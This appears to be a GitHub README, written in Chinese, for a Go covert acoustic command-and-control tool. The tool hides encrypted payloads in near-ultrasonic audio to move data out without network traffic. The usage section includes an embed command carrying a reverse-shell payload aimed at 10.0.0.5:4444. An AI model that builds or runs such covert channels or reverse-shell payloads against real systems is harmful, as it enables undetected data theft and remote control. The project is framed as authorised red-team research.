fionaadrelia7-Slave/whispernet-go
GitHub: fionaadrelia7-Slave/whispernet-go
一款纯 Go 实现的隐蔽声学 C2 框架,通过近超声波调制将加密 payload 嵌入音频载体实现零网络流量的数据传输。
Stars: 2 | Forks: 0
# 🎀 WhisperNet Go (Project BUlly) ✨




一个可爱却致命的隐蔽声学 Command & Control (C2) 框架,完全使用 Go 编写 💅🏻
WhisperNet 通过将高频(18.5kHz - 19.5kHz)超声波编码到普通媒体文件(WAV、MP3、MP4)中或通过物理扬声器广播,来进行 payload 的渗漏与传输,从而完全绕过传统的网络监控工具。零网络流量,零怀疑。🤫
## 📑 目录
- [📌 项目概述](#-project-overview)
- [📂 仓库目录树](#-repository-tree)
- [✨ 功能特性](#-features)
- [💌 神奇的连接方式](#-how-the-magic-connects)
- [🛠️ 开始安装吧!](#️-lets-set-it-up)
- [🔒 免责声明](#-disclaimer)
## 📌 项目概述
- **作者**:Fiona Adrelia
- **项目类型**:隐蔽声学 Command & Control (C2) 框架 / 隐写术
- **编程语言**:Go (Golang)
- **支持的操作系统**:跨平台 (Linux, Windows, macOS)
- **依赖**:无(可编译为单一静态二进制文件)
## 📂 仓库目录树
```
whispernet-go/
├── cmd/
│ └── whispernet/
│ └── main.go
├── pkg/
│ ├── crypto/
│ │ ├── cipher.go
│ │ └── crypto_test.go
│ └── embed/
│ ├── encoder.go
│ └── wav.go
├── cover.wav
├── exfil.wav
└── README.md
```
## ✨ 功能特性
- **无 Python 依赖**:单一静态 Go 二进制文件(`whispernet`)。零环境占用。🌸
- **不可闻遥测**:在人类听觉和大多数标准麦克风设置完全无法察觉的频段上使用 FSK 调制。🦇
- **军用级加密**:AES-256-GCM 认证加密,配合随机填充以实现深度混淆。🛡️
- **极度隐蔽**:专为红队和攻击性作战设计。他们根本防不胜防,因为他们确确实实听不到它。💋
## 💌 神奇的连接方式
关于 payload 注入流程的绝对内幕就在这里!☕️
```
graph TD
%% 🎀 Aesthetic & Girly Styling
classDef core fill:#ffe4e1,stroke:#ffb6c1,stroke-width:2px,color:#b03060
classDef crypto fill:#e0b0ff,stroke:#dda0dd,stroke-width:2px,color:#4b0082
classDef audio fill:#e0ffff,stroke:#afeeee,stroke-width:2px,color:#008080
classDef output fill:#fff0f5,stroke:#ffb6c1,stroke-width:2px,color:#c71585
classDef signal fill:#f5fffa,stroke:#3cb371,stroke-width:2px,color:#2e8b57
classDef data fill:#fffacd,stroke:#f0e68c,stroke-width:2px,color:#8b8b00
subgraph LayerInput [😈 Phase 1: Input & C2 Entry]
PAYLOAD[[Raw Payload / Command]]:::core
CLI([🌸 WhisperNet CLI Interface]):::core
end
subgraph LayerCrypto [🔐 Phase 2: Cryptographic Obfuscation]
KEY[(AES-256 Key)]:::crypto
NONCE{{16-byte Random IV}}:::crypto
PAD{{1-32 byte Random Padding}}:::crypto
AES{AES-256-GCM Engine}:::crypto
BLOB[/Encrypted Blob\nPadSize|Pad|IV|Ciphertext|Tag/]:::crypto
end
subgraph LayerEncoding [⚙️ Phase 3: Telemetry & Error Correction]
B2B((Byte-to-Bit Conversion)):::data
LEN{{16-bit Length Prefix}}:::data
PRE{{Sync Preamble\n101010101111000010101010}}:::data
ECC{3x Redundancy Repetition}:::data
FRAME[/Data Frame/]:::data
end
subgraph LayerModulation [🎶 Phase 4: Acoustic Modulation]
FSK{FSK Modulator}:::signal
F0((Freq0: 18.5kHz)):::signal
F1((Freq1: 19.5kHz)):::signal
WND{{Hanning-style Windowing\nfor Smooth Transitions}}:::signal
PCM_OUT[/Int16 PCM Samples/]:::signal
end
subgraph LayerCarrier [🌊 Phase 5: Carrier Injection]
COVER[(🎵 Cover Audio\n44.1kHz / 48.0kHz)]:::audio
DEC((WAV Decoder\nExtract PCM)):::audio
MIX{Audio Mixer\nSignal Addition + Clipping Prev}:::audio
ENC((WAV Encoder)):::audio
EXFIL[(🎀 Weaponized exfil.wav)]:::output
end
%% Connections
PAYLOAD -->|Parsed via args| CLI
CLI -->|Init Cipher| AES
KEY -->|Loaded| AES
NONCE -->|Injected| AES
PAYLOAD -->|Plaintext| AES
AES -->|Produces| BLOB
PAD -.->|Prepended to| BLOB
BLOB --> B2B
B2B -->|Raw Bits| LEN
LEN -->|Prepended| ECC
ECC -->|Bit * 3| PRE
PRE -->|Prepended| FRAME
FRAME -->|Bitstream| FSK
F0 -.->|Bit 0| FSK
F1 -.->|Bit 1| FSK
FSK --> WND
WND -->|Normalized| PCM_OUT
COVER --> DEC
DEC -->|Host PCM Buffer| MIX
PCM_OUT -->|Ultrasonic Signal| MIX
MIX -->|Mixed PCM Buffer| ENC
ENC -->|Write| EXFIL
```
## 🛠️ 开始安装吧!
拿杯冰抹茶 🍵,打开你的终端,让我们来编译这个小可爱!
**第 1 步:生成你的秘密密钥 🗝️**
```
./bin/whispernet -action keygen
```
*(保管好它,亲爱的!稍后你需要它来解密渗漏的数据)*
**第 2 步:将 payload 嵌入到载体中 🎀**
取任意普通音频文件(`cover.wav`)并嵌入你的反弹 shell 命令或 payload。
```
./bin/whispernet -action embed \
-payload "cmd:reverse_shell 10.0.0.5 4444" \
-in cover.wav \
-out exfil.wav \
-key
```
输出的 `exfil.wav` 听起来会和 `cover.wav` 完全一样,但包含了隐藏的超声波 C2 信标。这就是所谓的“无形刺客”。💅🏻
## 🔒 免责声明
🚨 **仅供教育和授权的红队用途。** 🚨
此工具包是为合法的安全研究而开发的。请勿在未经明确授权的环境中使用。保持可爱,保持合法。🌸
标签:C2框架, EVTX分析, Go, Ruby工具, 声学隐写, 安全学习资源, 数据窃取, 日志审计, 网络信息收集, 隐蔽通信